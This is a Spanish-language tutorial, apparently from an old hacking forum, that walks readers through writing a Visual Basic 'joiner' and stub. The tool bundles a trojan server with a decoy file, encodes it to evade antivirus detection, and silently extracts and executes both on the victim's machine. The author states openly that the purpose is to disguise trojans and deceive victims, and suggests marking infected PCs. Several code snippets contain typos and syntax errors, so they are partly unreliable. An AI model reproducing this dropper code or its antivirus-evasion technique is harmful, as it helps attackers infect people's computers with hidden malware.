Programando un joiner desde 0 en VB
(By Hendrix)

1. Introducción:

Bien, la intención de este texto es que mas o menos todos los que lean este texto y sepan un poquito de Visual Basic puedan hacerse un joiner “personalizado”, que ellos mismos puedan usar y por supuesto, que sea indetectable. Explicare lo “básico” para que se pueda hacer un joiner en condiciones (es decir, 100% funcional), tampoco será un programa de final de carrera, pero si será un programa funcional.

E de decir que a varios códigos de ejemplos que expondré serán sacados de mi Astaroth Joiner, así que si algún AV se lo detecta tendrán que hacer pequeños cambios, yo les cambiare el nombre a las variables y todo eso para que sea lo menos detectable posible.

Debo decir que si paso este texto a PDF es por dos motivos. Uno es porque no se pueda hacer copy/paste y de este manual o bien modificar algunas cosas del manual, que parece que no pero si que hay gente que hace eso. La segunda es porque no puedan coger el código directamente de el texto y tengan un joiner si haber leído nada, Quero que lo entienda todo el mundo, para ello intentare ser lo más claro posible.

Dicho esto, podemos pasar al siguiente capitulo.

2. Algo de Teoría:

Bien, para los que no sepan que es un joiner (juntador) les diré que es un programa que su función principal es juntar varios archivos en uno solo, y al ejecutarse ese archivo se ejecutan los dos archivos juntados anteriormente de forma separada. Evidentemente eso se aplica en campos del underground, concretamente se usa para "camuflar" los servidores de troyanos, así se puede engañar a la victima haciendo creerle que ese archivo es una cosa que no es.

Un joiner consta de 2 partes fundamentales, lo que es el joiner en si (el programa que junta a los dos archivos), y el stubb, que es el programa que se encarga de separar y ejecutar los dos archivos.

Una cosa que me sorprende son preguntas como: Cuando pongo la extensión .jpg al stubb, el archivo no se ejecuta, ¿como es eso?. Bueno, Windows se rige por las extensiones para ejecutar archivos, si un archivos es de extensión .exe sabrá que esto es una archivo ejecutable y lo ejecutara de diferente manera que si es por ejemplo un .txt, los archivos que no son ejecutables de ninguna manera podrán ejecutarse como archivos con extensión no ejecutable a no ser que se haga por medio de exploits (véase jpgofdeath).

3. Programando el Joiner:

En este capítulo ya empezaremos a ver código. Lo que hacia yo en mi Astaroth era hacer el stubb y luego pasarlo a .dll, para así poder usar el stubb muchas mas veces (además queda algo mas "profesional").

Básicamente el joiner es un programa que junta dos archivos en un mismo archivo, para esto se hace seto (No voy a poner todo el código, esto ya esta en Internet, voy a recalcar las partes fundamentales y ya, tampoco es cuestión de enseñar VB… ;)).

Para juntar esos archivos se hace así:

```
Dim tam as string

Open cd.filename For Binary As #1
Tam = Space(LOF(1)
Get #1, , tam
Close #1
```

Si no lo habéis entendido ahora es lo explico línea por línea.

- En la primera declaramos la variable tam como string.
- En la segunda línea abrimos el archivo (en este caso es el resultado de seleccionar el archivo con un commonDialog) y lo abrimos.
- En la tercera asignamos espacio a la variable como bites tenga el archivo (recuerden que una string viene con un valor inicial de 4 bites (“espacios”)) (LOF viene de *Long Of File*).
- en la cuarta extraemos todo el archivo y lo colocamos dentro de tam
- Cerramos el archivo.

Ahora debemos sacar el tamaño de cada archivo para que nos sea facil identificar a cada archivo, lo aremos de la siguiente manera:

```
Dim total as string * 4

total = Len (cd.filename)
```

Con Dim total as string * 4 le decimos que debe tener una longitud de máxima a 4 espacios, eso es importante para luego leer correctamente los datos que le pasemos al stubb.

Ahora podríamos ponerlo directamente en el stubb, pero que pasaría??que los AV’s saltarían (sobre todo el NOD 32). Por que?? Ya es detectable nuestro proyecto?? La respuesta es NO, simplemente saltan porque al escanear el archivo se encuentran con dos cabeceras de archivos (PE) y al ver esto el AV deduce que allí se encuentran dos archivos en un mismo archivo, eso rápidamente lo asocia a un joiner y ya canta, que hacemos para saltarnos esto?? Simple, encriptamos el archivo a juntar, y lo hacemos con la codificación Huffuman, que aparte de encriptar también compila, mejor que mejor, no??

Para encriptar se hace así (luego les pasare un link con el modulo de Huffman, porque si tienen que copiar todo eso es una rayada).

```
Dim encr as String

encr = HuffmanEncode(tam, True)
```

Declaramos encr como string y luego le pasamos todo el archivo pero esta vez encriptado, luego repetimos el proceso (ojo, con variables distintas) y lo ponemos dentro del stubb.

Para que quede mas presentable vamos a hacer que lea las extensiones, así se podrán ejecutar toda clase de archivos.

```
Dim xten as string * 3

xten = right(cd.filename, 3)
```

Aquí declaramos xten como string y ademas con una longitud máxima de 3 bites. Repetimos el proceso con el otro archivo.

Llega la hora de poner los archivos dentro del stubb, y se ahce de la siguiente manera:

```
Open cd.filename For Binary As #1
Seek(1), LOF(1) +1
Put #1, , tam
Put #1, , tam2
Put #1, , total
Put #1, , total2
Put #1, , xten
Close #1
```

I bien, aquí ya tendríamos el Stubb editado y listo para usar, ahora, nos falta programar el stubb….

4. Programando el Stubb:

Este capitulo es un poquito mas difícil de entender, pero bueno, es facilillo. Allá vamos.

La idea primordial para que funcione esto es esta: “Sacamos los dos archivos y los dividimos”.

Como sacamos los dos archivos?? Fácil, tendremos que quitarnos a nosotros para tener los dos archivos, viendo el código lo entenderéis mejor.

```
Dim stubb as String
Dim archivo1 As String
Dim archivo2 As String
Dim ext1 as String * 3
Dim ext2 as String * 3
Dim tam1 as String * 4
Dim tam2 As String * 4

Stubb = Space(11111)

Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
Seek(1), LOF(1) – 13
Get #1, , tam1
Get #1, , tam2
Get #1, , ext1
Get #1, , ext2
Close #1
```

Bien, aquí declaramos un montón de variables, las variables que tienen definición de longitud de tienen que tener el mismo numero de longitud de que las variables del Joiner para que funcione correctamente.

Donde pone Space(11111) lo dejáis así, pero luego, una vez compilado el .exe lo tenéis que volver a modificar, esto es el tamaño del archivo, lo que se tiene que hacer es, terminar todo el archivo, luego, cuándo lo tienes todo terminado lo compilas, vas al .exe, clic derecho de ratón/propiedades y allí te saldrá el tamaño y entre paréntesis los bites, si tiene que poner los bites allí (ojo, si sale esto pro ejemplo: 24.123, se tiene que poner esto dentro del paréntesis: 24123, es decir, sin el punto).

Lo demas lo que ahce es sacar las extensiones y los tamaños, ahora viene la hora de sacar los archivos:

```
Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
Archivo1 = Space(tam1)
Archivo2 0 Space(tam2)
Get #1, , stubb
Get #1, , Archivo 1
Get #1, , Archivo 2
Close #1
```

Así ya tenemos los archivos dentro de variables, ahora toca desencriptarlos, para esto declaramos otras dos variables más, por ejemplo:

```
Dim archivo1b As String
Dim archivo2b As String
```

Y procedemos a la desencritpación:

```
Archivo1b = HuffmanDecode(archivo1)

Archivo2b = HuffmanDecode(archivo2)
```

Ahora nos queda generar los archivos de esta manera:

```
Open “C:\archivo1.” & ext1 For Binary As #1
Put #1,, archive 1b
Close #1

Open “C:\archivo2.” & ext2 For Binary As #1
Put #1,, archive 2b
Close #1
```

Y ya lo tenemos, ahora solo nos falta ejecutarlo, APRA ello usaremos la API ShellExecuteA:

```
Private Declare Function ShellExecuteA Lib "SHELL32.DLL" (ByVal hWnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
```

Y lo ejecutaremos de este modo:

```
ShellExecuteA Me.hWnd, "Open", “C:\archivo1.” & ext1, vbNullString, vbNullString, 1

ShellExecuteA Me.hWnd, "Open", “C:\archivo2.” & ext2, vbNullString, vbNullString, 1
```

Luego, tenemos que terminar el programa, aprece obvio pero si se os olvida quedara el programa cargado en memoria:

```
End
```

5. Finalizando el Proyecto:

Para finalizar el proyecto como dije antes lo renombramos a .dll y ya, aparte se le pueden incluir mejoras, como por ejemplo cambiar el icono del programa que se va a generar, Cambiar de encriptación (y desencritpacion) cada cierto tiempo….todo lo que se os ocurra se lo podéis agregar, incluso que al ejecutarse el stubb ponga una "firma" en el PC de modo que se sepa que este PC ha sido victima de vuestro joiner…..no se, todo lo que se os ocurra…;) ;)

6. Despedida:

Bueno, esto es todo el manual, lo e redactado casi casi con prisa porque aun no e cenado y ya tengo ganas, si alguna cosa no se entiende o algo que este mal, pro favor, notifíquenmelo y yo lo corregiré….;) ;)

Agradezco a Kizar la ayuda que me presto en al creación del Astaroth v1.0, luego llegue a la versión 3.0…xD xD xD

Bueno, nada mas que decir, espero que esto sirva a alguien ,no esta pensado para programadores expertos ni nada de esto, puesto que esto es muy básico, va dirigido a las personas que están aprendiendo, esto les subirá la moral, cuando puedan disfrutar de su propio joiner.

http://es.geocities.com/cusacoxa/Hufman.txt